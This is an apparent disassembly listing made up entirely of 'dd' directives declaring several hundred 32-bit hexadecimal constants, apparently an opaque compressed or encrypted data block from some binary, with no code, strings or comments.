		dd 0D18789B9h, 69D9AA84h, 0DD84816Bh, 0D4A72A0Ch, 4A91C050h
		dd 0BDB34226h, 9E5520C9h, 23C19D54h, 80500010h,	0FC1C4BF7h
		dd 0DB38B2E3h, 368EF0E9h, 0FF50CFE8h, 0F94A65C7h, 0C68830E1h
		dd 0E90B2A91h, 0C3959820h, 0CE934AFDh, 0CCA7B959h, 64C7DA81h
		dd 2C282BD2h, 8E68AB5h,	299632D4h, 9D66B861h, 0D7810431h
		dd 0FB65B312h, 55FC6862h, 8516314Ch, 0DBBE16E9h, 76759635h
		dd 0BFC225E8h, 9568C84h, 21446D6h, 0FF98B80h, 97CC788Fh
		dd 8101DD73h, 0D06C1CDBh, 0CC6F5CAh, 37B57900h,	73ADCEAAh
		dd 2A924CCDh, 0CC6EFF4Bh, 5801416h, 0F707311Eh,	2A0B2CCCh
		dd 58F95A3Eh, 5B69A8D7h, 0B041BDA6h, 38D7B2Eh, 0A8B807C8h
		dd 676BF86Dh, 5E53959Fh, 0BD181859h, 5BBAB30Bh,	8943546Bh
		dd 11F4C486h, 0E05EBFF6h, 0C801F6ADh, 5506985h,	7079C393h
		dd 98235F4h, 8D015713h,	0BB2F6055h, 0E62812A2h,	0B57AA818h
		dd 239520EBh, 1A0183FAh, 45048049h, 162A2438h, 9249B2EFh
		dd 19393204h, 0FB06D8BEh, 312F6700h, 75A799FAh,	5918002Ch
		dd 8AB78E5Ch, 0C8B730DAh, 0BE9F212Bh, 0ACBBC1E2h, 2B9A6A90h
		dd 0BCC116C8h, 0E86FB826h, 802880FFh, 9DC2DDEDh, 0B18B3BFEh
		dd 3D87D96Fh, 6A2A8881h, 0F83023EBh, 0CB132266h, 6B1812Eh
		dd 9213BD05h, 0AF92E4DBh, 0E1AAED35h, 0EFECEBDh, 1538A150h
		dd 8D45F240h, 0AC7ABE4Ah, 5F8F617h, 0AA06453Bh,	2F5A6C2Dh
		dd 2BD665C2h, 2BF66BC1h, 67054F29h, 1A4482AFh, 0B625709h
		dd 0FEC47B54h, 233B6BAAh, 8350116h, 49DE8BE2h, 0BFFB302Eh
		dd 54A6D212h, 890B05B3h, 0C3D0F98Dh, 3DEC534Ch,	955BC0A1h
		dd 7E271D4Dh, 22154258h, 0E08BDD5h, 7808608h, 1AB2B7A6h
		dd 8A840204h, 0A812C6FEh, 0B5F89713h, 6525AFA0h, 0BA878C12h
		dd 532716EBh, 479EBE3Ah, 4B301B8Bh, 4C0264DCh, 586D344Dh
		dd 4EF0FC8Bh, 80C545C5h, 2AE4D895h, 1E78EE01h, 0FFF513E9h
		dd 0DCF55CC6h, 94953B00h, 86AA3F90h, 0FC1168Bh,	0C0ECEC81h
		dd 55BD0BD9h, 434EB51Fh, 0C2A5C5B9h, 3F93FE95h,	229EE3DBh
		dd 16A50111h, 65967F3Dh, 0A6F1F03Fh, 41C4491Dh,	6B855C1h
		dd 0BF4C310Fh, 0D1C9279Ah, 49E82F16h, 90A2029Dh, 0B5125D29h
		dd 0DECE810Ah, 1477464Ch, 24EBF583h, 33602F71h,	0C414299Dh
		dd 49048BF1h, 20747E60h, 0E491388h, 15F38262h, 48677A75h
		dd 0E9717405h, 0BB7BCC05h, 74EC1703h, 8C3D9C25h, 0D0DB96AAh
		dd 0AF5BD10h, 10B2EE9Eh, 9D230430h, 0DFFA13C1h,	3F708051h
		dd 3F8F3B4Ah, 382D0BEEh, 0B4D68954h, 1B2FC0ECh,	3E27D861h
		dd 810855FAh, 72E20BA9h, 18253170h, 5B355FB2h, 77983125h
		dd 2FD88AF0h, 0DFD3D1FFh, 1A5D470h, 9631936Eh, 2AF9D537h
		dd 959EEF28h, 7DDA5773h, 72F0B732h, 91118680h, 0D081F3BDh
		dd 5298907Dh, 0B5D84397h, 0E317A06Fh, 0BD9D5265h, 8C1CAC75h
		dd 84D9BE00h, 27E18E3Eh, 564E48DCh, 0BE077917h,	90537B78h
		dd 0E8379D97h, 2930E993h, 0BE2E7Eh, 0DCE1D5C7h,	8822A560h
		dd 60B2802h, 56819B71h,	52F06935h, 0C74E1A4Ch, 30229BBFh
		dd 203D6203h, 0C73BC22Ch, 0F8E0FC48h, 13F517C5h, 9689AB70h
		dd 2FB33F24h, 2BB79066h, 8D2E1F00h, 5AE94186h, 329C82D3h
		dd 1581455h, 7AD381FCh,	2B7FAB2Fh, 0A2FB0D64h, 13F34CA0h
		dd 98AF1999h, 2DEF6AA2h, 0B80B890h, 0D479C5ADh,	1EA1E903h
		dd 0DA85693Fh, 3CA728FBh, 4A5B5788h, 170B9B0h, 853170E6h
		dd 0FD7B2881h, 33238CE5h, 0E1FEBDF8h, 0A031A0BCh, 9F12E526h
		dd 1095B0ECh, 9F0693Ah,	0E9969B90h, 0CB585Fh, 0B39AD6Ch
		dd 8444E861h, 0FA84BB62h, 8A6CC95Fh, 8020E22Eh,	0D85F3AF5h
		dd 0DB892ADCh, 0B2B60730h, 0A39B9283h, 0BDC043CEh, 76017591h
		dd 3F88BF60h, 0C6209012h, 3680955Bh, 216FC781h,	634E6B25h
		dd 0E1C41039h, 4FB4F2Eh, 24064501h, 1E80E5ECh, 46FBDD1Ch
		dd 4F0B0874h, 0BD4123Bh, 0D37DAEFh, 22418509h, 807FDA3Dh
		dd 9D2B5058h, 0A065D2F9h, 6EA2E830h, 57612380h,	0AF25766Ah
		dd 0B5AA5931h, 61CDBF2Ch, 125033D4h, 0B4B62A7Ch, 0B0841342h
		dd 0E901F3C9h, 53179B48h, 90AEAD0h, 2028B27Fh, 0F0C91B6Dh
		dd 0F8240130h, 0D692D4B6h, 0EACC3F7Ah, 18A98A20h, 2275053h
		dd 42A93E91h, 297A0170h, 2C2BC585h, 89414C4Fh, 581D9DCCh
		dd 0BDCFE31Bh, 375F253Fh, 0E5C62467h, 653BC160h, 0A0B9000Bh
		dd 0F4BABE0Fh, 295B7004h, 28ACE6B3h, 0C96E5Fh, 4729E77Eh
		dd 28AFC2A8h, 0B7DBFC93h, 0B8704EDAh, 61674F9Fh, 7080B9E1h
		dd 2B41ED4Eh, 97FD1D2Fh, 8C488D2h, 9F9E4A00h, 0DDE61475h
		dd 0BD9B004Dh, 0C1833724h, 2BEDBE0Dh, 0F12B443Dh, 0D7F80041h
		dd 1095ACE2h, 161DBFFCh, 0AA44DC35h, 6852C2Ah, 2567A821h
		dd 0A82A532Fh, 577C9779h, 0F66BE762h, 0C93A6CF2h, 5FFC194Bh
		dd 91523BFh, 5479F690h,	4084792Fh, 9CA73AADh, 4A0A274Ch
		dd 8BEEFD95h, 14752CCBh
		dd 55C5926Fh, 0B2DE0557h, 9040BE92h, 9C7101F9h,	2A3E09BFh
		dd 0E596335h, 0B1305093h, 0FED63F2Ch, 0B155043Eh, 0E6E1FF5Fh
		dd 0FD4FE2DBh, 0E9B64AC4h, 0BD52511Eh, 4565CBEEh, 0D950DE82h
		dd 4A7898B3h, 0A26BD253h, 4E78456h, 254D7AFAh, 9426519h
		dd 3DD50488h, 0AFDA3DF1h, 19F88310h, 0BDAD1A5Dh, 6029496Ah
		dd 0A3C0EF4Dh, 22039C0h, 0C1BB0531h, 5F56D295h,	9971702Dh
		dd 0F73D809Bh, 4EB5558h, 4532C600h, 0B535C986h,	3E85009Bh
		dd 5267AB1Dh, 5FE25B56h, 947F8A95h, 0FA5EFEDEh,	548B09EBh
		dd 0A05A6918h, 6FB501E2h, 87EC443Ch, 0BF1354ABh, 1122148Ah
		dd 4BD4C595h, 46D655FEh, 0D2EF0218h, 66F03F36h,	0DAFAB0h
		dd 0D0608184h, 38F88672h, 0C929E100h, 0BE93EDC6h, 80E9B152h
		dd 8D3B80E6h, 5EA89C51h, 970018CAh, 24960C70h, 3FD1E16h
		dd 5C755762h, 0AFAC718Ah, 7F8017B8h, 5D5A3E38h,	30B54800h
		dd 44808933h, 2B8B005Ch, 0DFEB86F7h, 0B30853D1h, 0A55B5F75h
		dd 0F4308D50h, 8D29FE46h, 14BA55h, 3A67E668h, 0C0B8605Bh
		dd 11ED9B1Dh, 8A618EBBh, 41FF72D0h, 256419CCh, 9B6E6A5Bh
		dd 0CAA85F00h, 63017B4Ch, 0E9A09F26h, 9690B3Fh,	8335553Ah
		dd 17C8CCA5h, 0E84DDE83h, 54112DC3h, 8DC6E97Eh,	7ACF8009h
		dd 0C5560056h, 92760CEh, 1F6E95Bh, 251A3DD7h, 80DD14D7h
		dd 0F09F7BBh, 799501E2h, 0ADDBAE73h, 0FC92D896h, 81B21F38h
		dd 1379BFC7h, 342E4824h, 0C1830415h, 2600B21h, 601D3h
		dd 0C2E782B9h, 0AAE8394Fh, 0F5E9D7Fh, 2B9109F4h, 456A8DBDh
		dd 0F4B5AFE4h, 30B5D4A1h, 2C62BDFh, 0B1C1BF6Fh,	0FDF725h
		dd 689D8D2h, 0BE92260h,	3861FB00h, 74E65D80h, 0FCDE5167h
		dd 97F38420h, 4EB4A794h, 9D2F02D4h, 0B45870A3h,	561D6A75h
		dd 0F0B72750h, 0D3CFC700h, 4A0AE4B8h, 6B42EA3Ah, 0D559D826h
		dd 0F2BD8FC6h, 7BBEA2DDh, 0E440702Dh, 957F5201h, 0F83CB7E0h
		dd 10C1D241h, 296A702Eh, 0A5BA0595h, 53FC6806h,	2C8FD0DDh
		dd 1BBA2CB4h, 0F9AB99F7h, 53C09C4Ah, 4A41B003h,	0E0B4B62Fh
		dd 9F37C9C8h, 0E5D35738h, 5785234Bh, 3417507Eh,	50174B90h
		dd 0FEED84FFh, 0A0F935D8h, 5A0D8DB0h, 0D3A9A608h, 0BC92C69Ah
		dd 7EF8011Eh, 0E38BB472h, 59B6282Bh, 6FBF30D7h,	0C95009C2h
		dd 8DF502AFh, 5FF0918h,	0F7EF0752h, 0F260431Bh,	0FCCED746h
		dd 19D8912h, 0B2083BABh, 5EF1F8h, 0A6111E62h, 0D000C869h
		dd 9F4491AAh, 0FDD5DE5Bh, 399C282Eh, 29800440h,	62DE1FD7h
		dd 0FD0B0429h, 0BEFF6D29h, 0FC76B70Ch, 9A7E05D4h, 0BAE6B835h
		dd 58B55D45h, 0A0ECE7BEh, 0D38D80Bh, 804BAB41h,	0DB55E256h
		dd 2E5DF8E4h, 4C4BE375h, 31A188h, 17C0E191h, 6EC387DBh
		dd 30EB964Eh, 0BEC7C1DBh, 17A97AE3h, 2CB3AAA5h,	4CBB5018h
		dd 965D1DCDh, 380DBC13h, 0C8CA5783h, 6A00D06Ch,	8D954A39h
		dd 1C0996FBh, 2A173FF3h, 24C00012h, 8D815B08h, 0B0754AFh
		dd 0C5F57F72h, 53195FA7h, 219D04DFh, 0CAE9B914h, 0A7CAE0F9h
		dd 0EE9F9620h, 0B70F1351h, 0EADFAEDEh, 68842ACBh, 3ED1E372h
		dd 63860481h, 0A2B82301h, 0CBBC3D49h, 9EBEF075h, 0CD4D0740h
		dd 0D71902BCh, 14B399E0h, 46EFD855h, 810F13DEh,	492539F3h
		dd 0B77696DDh, 2F1291B5h, 71F8B109h, 332500D5h,	0AE0B70ECh
		dd 202FF009h, 2AAD7297h, 0BDDA988Eh, 10D9E7DBh,	1605F2C0h
		dd 453ACBFEh, 0FA4BFB5Ch, 1723276Bh, 8A2A2804h,	0E110DFA8h
		dd 0CE8A4110h, 0C189B220h, 341905DBh, 0EF6AE2D9h, 572BEADDh
		dd 5FD66EC7h, 3DAF40FAh, 91024C8h, 3F5B513h, 4B8A7428h
		dd 0AF9C95DAh, 8A802F9Eh, 75FF9BD7h, 0C54C7425h, 9F31109Dh
		dd 0A602DD48h, 0ADE9B5EDh, 0F05FB8E7h, 7F7EB837h, 9D6EAC09h
		dd 8B009C64h, 866A070Ah, 76956A0h, 0B8F1E98h, 943EA06Fh
		dd 29138063h, 37AA2585h, 0FF2F159Ch, 809C47DEh,	49F6DE0Ah
		dd 3816F3F4h, 0F70A59D2h, 0B38AB505h, 2347572Fh, 0D50365E2h
		dd 0B59D1D16h, 0E67D259Dh, 0A2DC167Bh, 0FD89AEE8h, 0C058FC3Ah
		dd 2C2620A6h, 0B5310957h, 1D792A25h, 0E5334EE5h, 0FA294FB9h
		dd 985A476Ah, 762CB9B2h, 62160DFCh, 805F5DA2h, 0EF3B6ACEh
		dd 5F44B00h, 0D7EAF940h, 44E2037Bh, 0C65BFC36h,	59859109h
		dd 6B1E7B33h, 9441D34Dh, 13C1B4Bh, 97B5D980h, 0CF005F87h
		dd 20CBF781h, 9D2B66BCh, 0E98BF556h, 540955EBh,	802D18F7h
		dd 8B3600CBh, 18DF81C1h, 6D5EB67Ah, 66C2DDA9h, 0D87DF2BBh
		dd 0FFF85FD7h, 5A24506Fh, 0EB3D1636h, 2AF1AD21h, 207FD149h
		dd 25079E9h, 0DA4920Bh,	11BB8763h, 5B422A90h, 465C9D2Bh
		dd 1E6DAAB0h, 0D9E79F62h, 0FC6018E4h, 0FD2DF483h, 954B4CF0h
		dd 8A53E8E8h, 0FFF9D84Ah, 0B16D957Ch, 88522FC1h, 7939E06Fh
		dd 712E0C41h, 0E761D7C3h, 67B41198h, 436AA4FFh,	718014DEh
		dd 1110B2CDh, 3FA3512Bh, 0DD6AB24Bh, 9BC277CDh,	2FF57E85h
		dd 1A64FDEDh, 0DA336B60h, 2D30EF09h, 5A1C7B83h,	0C3AE438h
		dd 0A64A2004h, 3CA6D1FFh, 0CEEB6E0h, 443DB425h,	308707B1h
		dd 9690F5h, 5BFB8B38h, 70289497h, 0EECFBD9Ah, 84A68241h
		dd 1C7A46Fh, 13898D16h,	0DA5C35AAh, 8296804Ch, 124DBBF6h
		dd 0EF1CB35Fh, 7096188Fh, 0EE39D6FFh, 6CA68D5Ah, 0FA311CB2h
		dd 1BAD9E0h, 28853519h,	7AB1E95Eh, 778904B3h, 597BF009h
		dd 27527178h, 5E504C2Ah, 881E7B17h, 1D1351A7h, 0BD7AEF31h
		dd 51F0713h, 0EF23B5F4h, 9A93DEE2h, 48F8825Fh, 0B08875C6h
		dd 0BF9087B3h, 2502F169h, 0C0B86A50h, 62CDBE96h, 1709D520h
		dd 0F39061DBh, 55F00027h, 0A8A69ED3h, 0C315123Bh, 4A40F661h
		dd 0E5E588h, 38DBDA37h,	9DE3516Ah, 0E8FB4F01h, 839BD01h
		dd 5EA98A6Ah, 0C183289Bh, 3A04A57h, 0F302843Ch,	0DB808AC8h
		dd 256C5ED7h, 40CA4F57h, 0D2343C93h, 6D01DD02h,	89860FA3h
		dd 697AD470h, 407FC509h, 0B5FF6AF7h, 9EC0D36Dh,	24ABC48h
		dd 24BF6CBAh, 0A2E0F1B7h, 5D5B29C5h, 22C0ECACh,	789C4AD6h
		dd 1B1E0C17h, 55135E09h, 24B6E738h, 53093601h, 0FCA02CBDh
		dd 220EFF2Bh, 99F0325Bh, 0CD949702h, 9D3311E1h,	0B0FD923Bh
		dd 9F1E65Fh, 1923220Eh,	0D8E93F20h, 373874B6h, 7AAF8153h
		dd 208AA5B8h, 436F6821h, 70E65F9Bh, 6C51212h, 0C634EEF7h
		dd 2579FC5Bh, 84DF5923h, 0BD184D9Dh, 850183EDh,	0E4EBCC91h
		dd 0FD218D87h, 25E2AC21h, 0B05C60CAh, 7D20D228h, 2BF80B22h
		dd 0C4DD57C8h, 0C25F4B30h, 662980B3h, 459DFA08h, 0A8002EEDh
		dd 80494755h, 0B47C4AEBh, 0ADCD8D5h, 0B4029F2Eh, 5E14775Ah
		dd 0B7D588Fh, 0E9D84BC2h, 3D32A248h, 4F65F526h,	0B40EC029h
		dd 0C2910005h, 4B6AF3BEh, 258CC89Ah, 0B5CEB388h, 3D08D545h
		dd 0C937BB33h, 1795C565h, 123DBC64h, 0D8EF4F70h, 614A9814h
		dd 0BF00DFE3h, 0ED0E1066h, 0D300150Bh, 544B8F5Eh, 7E591BC7h
		dd 0B1AF25CDh, 0F5520B55h, 0D7EB9BCDh, 0CD9CEC66h, 0AE7CB440h
		dd 6FCA3h, 0B76BF421h, 74E0DC61h, 9B438909h, 0A5DA7B1Bh
		dd 7525FA35h, 28EDD444h, 40DF8F92h, 82F3D63Dh, 0FCC2FB9h
		dd 0ED40BEEFh, 25174C8h, 8D29D5C5h, 125726DDh, 5E8EDF14h
		dd 34B477F0h, 2605309h,	1037163h, 6BB85B61h, 0A700217Eh
		dd 55B4849Fh, 0D0BF6CAFh, 2EFD2572h, 0D7F5305Fh, 3F5595BCh
		dd 9C8023AEh, 31258254h, 78C01290h, 53B50369h, 61CD02Ah
		dd 0CE01CC01h, 0B777361Ah
		dd 0AD0B74DAh, 1DEB1D4h, 0CFF1CE0h, 4183B1F7h, 3A02B58Dh
		dd 4BB84AB2h, 94E133Bh,	0D7742BEAh, 1847F7CDh, 0C081100Eh
		dd 7E79F1D2h, 2446287h,	23BF3CE8h, 1EC1F1Ah, 9E48A038h
		dd 0B8B4298Dh, 8D96C076h, 0FAB70F6Fh, 0BA666004h, 0CCAFC7F9h
		dd 149D6110h, 9E795F56h, 1EACD3BDh, 0BFE8BB0h, 184EF398h
		dd 0F4617D99h, 0A5F0F82Ah, 9890804h, 5EA7CBEAh,	0FB97569Ah
		dd 0BF66D420h, 0FF5014AEh, 0DB028CE1h, 2AF18509h, 24961C57h
		dd 0F6720486h, 9247BB5h, 5ED1DA8Bh, 0DEEA7044h,	87FDC0B4h
		dd 134F6285h, 0A26C3596h, 40A8465h, 0F6A064F7h,	60027869h
		dd 33F208BFh, 961A5704h, 0F7A7F45Ch, 7A4DB70Bh,	4F152FC0h
		dd 0FEF85F83h, 5843366Ah, 5E4D9E0Fh, 564ECBC0h,	2B903937h
		dd 1EBF0544h, 0A53E13F5h, 80F33F5Fh, 49894AA5h,	61090A95h
		dd 0F1605739h, 0CB5EAD51h, 0E4C8F7CBh, 954B0161h, 9590E9B4h
		dd 0A7A6C3F4h, 8AEEDEh,	9123DA2Fh, 352DBFE3h, 6A45D916h
		dd 67015B7Ah, 0E4A1F4C7h, 8923CCADh, 0F798510h,	0E22F6807h
		dd 0CFB31283h, 0D002045Ch, 0D77C9B21h, 7352A5D3h, 6DF50B5Ch
		dd 10D705Eh, 0A73F78D4h, 6378E127h, 0B4FEF8h, 462A6C97h
		dd 0DDF9BFD9h, 3242A626h, 0E9428424h, 5C624ACDh, 0AD7169D2h
		dd 0EF9A61BCh, 0A5304A1Eh, 0CA7B4BB1h, 12A65BA5h, 89FAA4A4h
		dd 4BBBD4Eh, 0BCD98B67h, 0DF81C3A4h, 401CF85Fh,	0AD064A89h
		dd 90B815h, 0BFAE91B4h,	117B81C9h, 0D4B4D495h, 80711D4Dh
		dd 0D9F8DDF3h, 9F561CAEh, 0BF1917BDh, 0E6071C8h, 165E06BAh
		dd 0AABB6537h, 0BC7A8A55h, 0F89502C7h, 5D6C80A1h, 0BF7FC8D5h
		dd 0E18B1763h, 0BF0DC41Ah, 0D05CAD4Ah, 0DF0200FCh, 0BB607CAEh
		dd 0D52495DBh, 0CE00D93Ah, 6BD86861h, 0A06FF1EEh, 28199C9Bh
		dd 277E815Fh, 0D3F6F1FDh, 4F667035h, 142B4A09h,	0B909750Ch
		dd 1C3FFFh, 0F8613B94h,	0BD04884Dh, 1D519589h, 7A89FA16h
		dd 0B44E4622h, 0A9BD957Ch, 5AD3D3E8h, 59D86918h, 74119C04h
		dd 83F875C8h, 0BC04580h, 430085DEh, 24F729B7h, 0A6EDDE1h
		dd 5301CB7Bh, 0B9F104ADh, 56EAE61h, 26426533h, 4B01ECF5h
		dd 374DF68Fh, 0D72675ACh, 0E7040CECh, 17BC742Eh, 6F574BA2h
		dd 5CF86FBDh, 0BC1C86D3h, 5E3840E9h, 0D2BC5AADh, 0E66B7980h
		dd 4BBDEE82h, 0B8E7CE56h, 0CBB32660h, 30E50890h, 0F912611Fh
		dd 0EB93DEF6h, 0CA2CD334h, 0ED044A26h, 3059E8ABh, 89A0D8BEh
		dd 334F31B5h, 9D82B9F2h, 6E5516CDh, 0C4FC5F39h,	0B839D4DFh
		dd 0C100AAEAh, 5B3D9AF6h, 0EFA0B4A4h, 0BA970A2Ch, 501D53EBh
		dd 2510198Ah, 0FF123CAFh, 0C621EA96h, 0EECF212h, 221D7F32h
		dd 0BB050581h, 1F977785h, 0DE1209EFh, 0C0704DF7h, 77A9B468h
		dd 7FBA574Fh, 18F70007h, 748CE43Ah, 0CD314B85h,	0AA202BCBh
		dd 112C6E4h, 0E27DD0B1h, 3F5643E6h, 9CE03327h, 0A18F14h
		dd 0C4D34EDh, 5F5B1A5Dh, 5468599Dh, 0B8863200h,	11D7C0A1h
		dd 0CBEE953Dh, 993B5B5h, 22D085D0h, 0D824F397h,	78731020h
		dd 0C4B0465Ah, 265BBF16h, 24FF37Ah, 1303A81Eh, 0A52BEDE2h
		dd 0EACEF54h, 252B1908h, 0DFF21E2h, 0FBEB7B25h,	0DDEAB429h
		dd 0A9B5E844h, 259D174Eh, 24D5B688h, 79C2311Ah,	0F3810058h
		dd 645E5B19h, 0C2ADFEBFh, 1002029h, 9F22ADBDh, 58C4F96Eh
		dd 1161341h, 0FD6A1838h, 5B76A47h, 6BFC26B1h, 7BFD99EDh
		dd 70C49CACh, 0D2CEBC98h, 0FA93C04h, 0CCC5E2ABh, 0FA034B3Dh
		dd 0DF0B6329h, 0D95A75B3h, 48155020h, 5CAA007Dh, 0F519FAB1h
		dd 0DF71F93Fh, 0D447A51Fh, 0F0BDE9Dh, 0C8C5DD83h, 0CCAE5F12h
		dd 0F1779DE7h, 25375595h, 2C41CC2Dh, 22011162h,	7DBD122Fh
		dd 0E42DAA18h, 0E96A7Ah, 59DB0183h, 2569C60Dh, 1A5C6028h
		dd 0D936B662h, 0EE3C00A2h, 0ABAA0FAh, 0F8E0B009h, 2B0075C2h
		dd 2085FD13h, 0FC610D16h, 4AAB8E8h, 72B39196h, 80C2FABCh
		dd 0BF5E8CDFh, 0E72E7751h, 41C0B0DBh, 698D04E3h, 81C2D865h
		dd 3295915h, 51DB12Bh, 80E8752Fh, 55C96DB5h, 94B7C64Eh
		dd 7269A0A0h, 0F57E0513h, 2A802FFCh, 36AB86B7h,	88696607h
		dd 0A460C9B9h, 41D5DE1h, 0BA075A08h, 0B8E7EB87h, 5F57F6A5h
		dd 123E71DDh, 51A8ACCCh, 2FAEF12Dh, 43ADDE16h, 0CE17F2B8h
		dd 4681C18Bh, 3A83BAFCh, 0EA81F011h, 96982B76h,	88A0145Ah
		dd 99FF8B28h, 2DC98A81h, 2ADD2162h, 0DDFE1B64h,	58050083h
		dd 1ACDC22Bh, 0CC84B8F0h, 825A4D38h, 2B12A4h, 33C5001h
		dd 3A813BD0h, 0B64B4538h, 312D386Bh, 0D9E90A10h, 8B134CB9h
		dd 41F304C8h, 4003031Ah, 64F333Ch, 1B3C31C2h, 12D2FA8Bh
		dd 5123F18h, 1C5BD8F8h,	0D163030Ch, 7B25FD20h, 3308644Dh
		dd 8F64021Ch, 836D8105h, 886E04C4h, 8B48516Eh, 81100532h
		dd 141AB0A9h, 0F62FDB5h, 190BF289h, 24448446h, 35852EC6h
		dd 684781F4h, 2A9AA7D2h, 815C6C1h, 13C10504h, 2401AC76h
		dd 83403D0h, 11ED8206h,	0E8D336EBh, 15001E77h, 717C0D5Fh
		dd 2867F5B1h, 0DEAD39h,	81571484h, 13A9FED0h, 8E5F343Bh
		dd 0EFACB9E8h, 50C7A267h, 0D523555Ch, 3385BBC8h, 14D0C6D8h
		dd 0F209811Fh, 7FD4A692h, 95C08007h, 0E9E781C2h, 3C593379h
		dd 0E1FA05C6h, 0A7AA885Bh, 0A5D6095Ch, 3430F18h, 13362657h
		dd 452F374h, 59038D83h,	203BD916h, 57CA9510h, 22840D00h
		dd 3C239731h, 0C28700A4h, 48F6124h, 514A601Fh, 9547BDC8h
		dd 587118DDh, 0FB6005Ah, 10B86661h, 0EB008147h,	54943987h
		dd 0F371D880h, 0A013DD46h, 7B77D961h, 9CFB130Fh, 85A6B0A4h
		dd 22811B45h, 0E9D174EEh, 0D415A72Ch, 8247F0BEh, 9AC636C0h
		dd 924FE9ECh, 0CC430070h, 0C27DF0ACh, 6D389072h, 282E00FCh
		dd 21CDD0A1h, 0FA6800F5h, 92ECAEFEh, 4EE88D63h,	90A3D701h
		dd 0FCF55748h, 1E710BF0h, 9DD010E9h, 50C7EE6h, 0A11891A0h
		dd 7F1F1771h, 0D280923Bh, 4834E9E7h, 0C0F17733h, 0A2A5CE31h
		dd 0D42C574Fh, 8C1973C3h, 2180C108h, 0FFA2BD13h, 0AD77AF81h
		dd 0F4854B18h, 101A888h, 0CCB8901Ch, 8071DB16h,	0AEA90968h
		dd 0DD7DA717h, 7849B610h, 0A1023746h, 0B45743A2h, 0EF10CB31h
		dd 8200A2B9h, 0B36BDE70h, 60CBD30h, 8FA8B1CEh, 0AC1F599Bh
		dd 2AC7D477h, 600F446Eh, 23ED29Ah, 0DB1301C4h, 0C0E55751h
		dd 3F88409Ch, 39035577h, 8160E804h, 91C801F7h, 0A5F40258h
		dd 0A140F0ECh, 0D618C562h, 4F2041E7h, 68AE9080h, 0F104D43Fh
		dd 0D2B52B06h, 6B0823C9h, 76002160h, 868725D4h,	0F78B0B03h
		dd 1DDEA58h, 4BAE7358h,	80DF3A70h, 576E1C10h, 73424693h
		dd 0D47522h, 3D2588D8h,	614D0BD0h, 5F935300h, 1BE17569h
		dd 0A3B0A8h, 81DBE415h,	952D5B11h, 0BD272A07h, 0A58038C8h
		dd 1C072483h, 0C0AD2B74h, 596D7A8Bh, 6200FADCh,	846F9D3Ch
		dd 1441EFh, 9E0FA8F4h, 5D5AEE18h, 0DA600800h, 54C95E8Dh
		dd 0E93E3FA7h, 529B4B07h, 0A7FEC73Ah, 508F00F9h, 0DA00EDB9h
		dd 0C77D7930h, 0EFE197h, 7B01CCF7h, 57C8E72Dh, 14D4FC00h
		dd 4946F4E6h, 9D0A01ECh, 2BBAC605h, 0F4EED1CFh,	0DB0F5C52h
		dd 0E40F78h, 63B02368h,	0D4BF0FF9h, 3601A765h, 0BB29B8E6h
		dd 6F8E0018h, 0BD3A9879h, 0C0717442h, 2A905210h, 6E06F8D3h
		dd 7EF3654Ah, 2183E708h, 892D68B0h, 39D805E0h, 0DD033C71h
		dd 14BF0DA3h, 28686016h, 7A853A72h, 6A02BC18h, 0DF4F11h
		dd 0F5E49436h, 25EC3E2Fh
		dd 46602E74h, 36D0A921h, 273D03D5h, 0AB1ABB43h,	787BE2D0h
		dd 7E73DF0Eh, 6F80A3DEh, 339F32Ah, 0A5B45A69h, 688A3ABh
		dd 98EDBB4Eh, 7B212D08h, 0F4A500BFh, 7E65A86h, 7106E29Ch
		dd 4B4AF05h, 10A8D8B0h,	0E2806ADCh, 0E1907B9h, 4E883DD6h
		dd 43F8EBE0h, 0F03BE63h, 14155556h, 90C581BCh, 1198C70h
		dd 0CBD8A071h, 0D4CFBF68h, 0F80BA508h, 3C8AB02h, 0A98CDC51h
		dd 0F3430ED9h, 560D801Ah, 127800DAh, 4C2D0F2Bh,	0DF00ABA6h
		dd 5BE48184h, 70C07F7h,	0DA9B1361h, 0B08AC093h,	94072778h
		dd 0DE3CE006h, 2066E460h, 0F3AC071Fh, 0C04EDFF0h, 0E3C3FB69h
		dd 0A5517000h, 0F4BBFEA4h, 0EA6812C0h, 4225009Dh, 0FC0B62A7h
		dd 0A2D8B800h, 0EC34E1EEh, 1E7B7543h, 0C7228EB4h, 60ADB99Fh
		dd 1D5390D4h, 8D570D00h, 5CA9FFDEh, 0E50A001Bh,	0A10F325Ah
		dd 3C7C015Dh, 317CF8B8h, 3403Ah, 0FF3647A3h, 0E81CB157h
		dd 6461EAAh, 3140F38h, 305D4B81h, 1E55F00Bh, 1E842F0h
		dd 46AE3700h, 34869F07h, 5504AFA2h, 0A0FA2FE1h,	95C1080h
		dd 9B3DA7CBh, 3B4F5500h, 1F95928Dh, 419F005Eh, 0E2CB2A13h
		dd 98F6440Eh, 0C0531A00h, 844B73E7h, 0D352000Dh, 825FCFDCh
		dd 2C42D80Fh, 0DD0A8100h, 0DF9854D4h, 87B41B3Dh, 1AAE51A4h
		dd 0A91FC860h, 74ED1C04h, 65438ED7h, 0DC5F4F80h, 78000B40h
		dd 0A592CAF1h, 0CD107Ch, 0B51E9BDEh, 23D28F08h,	63BB4D00h
		dd 0E07C6AC9h, 0EC6B1F45h, 5FB3C0E7h, 1C129685h, 0D0EBAB00h
		dd 2513BF5Dh, 7780A994h, 1E203457h, 754BCDB4h, 68B3003Ah
		dd 0DEB039F7h, 0D900AF8Ah, 0CE7648Bh, 987F909Dh, 816700E1h
		dd 42F6D03Ah, 0FD00CC6Bh, 259C7387h, 0EE5E23h, 38D60C48h
		dd 42983CE6h, 2D439h, 97AF58D8h, 6550B3h, 0C81A1DC5h, 0DAA01578h
		dd 4592E007h, 8D0E84Ch,	30684E8Bh, 0E1B0A304h, 7028A40Bh
		dd 0A01EA136h, 0A2C035E6h, 79AF22F4h, 0A5B8C00Fh, 14166B1Fh
		dd 0DE9F3Bh, 48AB93C7h,	0C6876Ch, 0D4991217h, 0D5CB5DCCh
		dd 42BE400h, 7DBC423Bh,	1BA100F8h, 0BF1762D1h, 0CA0FB86Eh
		dd 60ECF590h, 6F744B7Eh, 0FFEF3D18h, 8656499Dh,	6064BF93h
		dd 8094153Ch, 4E4CE4C7h, 387DCCF1h, 0FE00CF89h,	3051AE54h
		dd 37EFD06h, 194F4716h,	7CB57500h, 704A36h, 0F5D8713Eh
		dd 563B01A1h, 25936404h, 5480854Dh, 36A4EFAh, 0E307F105h
		dd 8CF9E1D8h, 0BA0DF1Fh, 9EA029ADh, 903B89AFh, 0C7310079h
		dd 6391EFBCh, 0AD2001FEh, 6DACB50Ah, 18A07E5Dh,	3C770011h
